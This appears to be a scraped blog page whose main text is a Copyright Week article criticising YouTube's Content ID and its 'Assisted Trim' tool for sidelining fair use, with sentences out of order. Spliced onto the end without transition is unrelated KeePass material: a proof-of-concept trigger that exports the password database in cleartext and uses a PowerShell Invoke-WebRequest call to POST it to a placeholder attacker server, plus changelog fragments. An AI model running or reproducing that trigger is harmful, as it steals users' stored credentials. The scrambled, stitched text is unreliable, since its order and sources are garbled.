And if you depend on YouTube for your living, the situation is even direr. Losing your YouTube page-especially since there is no video platform that comes close to offering the kind of audience YouTube does-is not something anyone wants to chance. But if a user’s dispute of a Content ID claim is rejected, and they appeal, the user can end up with a “copyright strike.” Every YouTuber knows that copyright strikes can lead to you losing your whole page. Users can technically dispute a Content ID match. It’s bound by whether what was used was needed for the point being made.īut Content ID isn’t based in fair use. And fair use isn’t bound by a specific number of seconds. Moreover, fair use gives people the legal right to use copyrighted material for purposes like commentary and criticism without having to get permission or pay the copyright holder. In the same way that high school English classes teach students to put quotes in their essays to make their point stronger, people working in visual and audio formats do the same thing. Videos critiquing a film or song are going to include clips from that video or song. In order to make dealing with Content ID claims “easier” for users, YouTube’s new tool list includes something called “Assisted Trim.” If you get hit by Content ID, YouTube’s interface now presets an editing tool around the disputed clip, so that video makers can easily remove it, releasing the Content ID claim. And short clips are often present in videos making fair use. It makes matches when just a short clip is found. In other words, it doesn’t just make matches when a whole thing has been copied and uploaded. Users whose videos are hit with Content ID can dispute the match-chancing the claim being converted to a strike-or alter their video in some way that releases the claim.Ĭontent ID makes matches based on seconds of matching audio or video. They can decide whether to monetize someone else’s video for themselves, mute the audio, or take it down. New uploads are compared to what’s in the database and when the algorithm detects a match, copyright holders are informed. That is, so you can see difference between a “copyright strike” that is the result of the takedown process-which YouTube does in order to comply with the safe harbor provisions of the DMCA-and something which has been flagged by Content ID-a copyright filter voluntarily built and deployed by YouTube and subject only to YouTube’s policies.Ĭontent ID works by having copyright holders upload their content into a database maintained by YouTube. In December, YouTube released a list of “New YouTube Studio tools to help you deal with copyright claims.” Mostly what it’s done is make it easier for you, as a video creator, to sort through all the copyright claims that have been filed against you and what that’s done to your videos. Is it something that makes fair use a priority? No, it’s a way to make it easier to remove the part of a video that someone has claimed they own. YouTube, which has become essential for video creators to build an audience, has a new tool that’s supposed to help users respond to its copyright filter. Every day this week, various groups are taking on different elements of copyright law and policy, addressing what's at stake and what we need to do to make sure that copyright promotes creativity and innovation. (*) KeePass 2.53.We're taking part in Copyright Week, a series of actions and discussions supporting key principles that should guide copyright policy. (*) KeePass disputes report of flaw that could exfiltrate a database (Steve Zurier) Further readings (*) What this KeePass CVE means for organizations searching for new password vaults (Carlos Perez) Removed the 'Export - No Key Repeat' application policy flag KeePass now always asks for the current master key when trying to export data. (2) Victim will open the keePass as normally activity, saving changes, etc., the trigger will executed on background exfiltrating the credentials to attacker server Trigger PoC detailsĪ) The trigger will export the keepass database in KeePass XML (2.x) format included all the credentials (cleartext) into folowing path, e.g: raw - Method POST - Body ( :: ToBase64String ( :: ReadAllBytes ( 'c:\Users\John\AppData\Local\Temp\exploit.xml' ) ) ) False ex bypass - noprofile - c Invoke- WebRequest - uri http :// attacker_server_here/ exploit. D5prW87VRr65NO2xP5RIIg= c: \Users \John \AppData \Local \Temp \exploit.xml
0 Comments
Leave a Reply. |
Details
AuthorWrite something about yourself. No need to be fancy, just an overview. ArchivesCategories |